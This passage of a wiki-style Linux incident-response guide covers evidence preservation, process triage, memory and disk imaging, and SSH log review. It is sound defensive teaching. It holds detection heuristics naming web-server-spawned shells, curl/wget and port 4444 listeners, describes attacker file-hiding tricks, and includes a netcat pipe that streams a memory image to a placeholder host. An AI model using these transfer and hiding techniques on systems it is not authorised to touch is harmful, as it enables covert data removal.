&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
Everything here is written from a blue team&#039;s point of view.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; Reading other people&#039;s logs and files without permission is not &amp;quot;just looking,&amp;quot; and may be illegal.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep a running note of every command you run and the time you ran it (in UTC). Your notes are how you (or someone else) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not a sign.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of its memory, or a copy of its disk. Each has strengths and blind spots, and a thorough investigation will always use more than one.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything stored on disk: logs, configuration, user files, timestamps. Examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (per user) || same || Commands a user typed (can easily be disabled or erased, so no command history doesn&#039;t always mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the suspect disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Collection tools.&#039;&#039;&#039; Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but additionally includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the clearest single indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory deserves a close look.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable; the process keeps running, but the file is gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) really is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;. Learn what the legitimate ones look like on your systems.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have many legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now deliberately restricts that, so you need a tool.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;; no kernel driver to load || Free; a single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Free; can write straight to the network. Also works on Android.&lt;br /&gt;
|-&lt;br /&gt;
| Commercial agents || Vendor agent brings its own driver || Useful if your organization already owns one.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust: netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, since Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. Stay flexible: no single method fits every case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown changes the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. On top of that, Linux disks are often built in layers, and you have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered here; encrypted volumes need the key.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table: what&#039;s inside? (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (good habits), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating.&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thereby modifying) anything. The trade-off is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; before trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
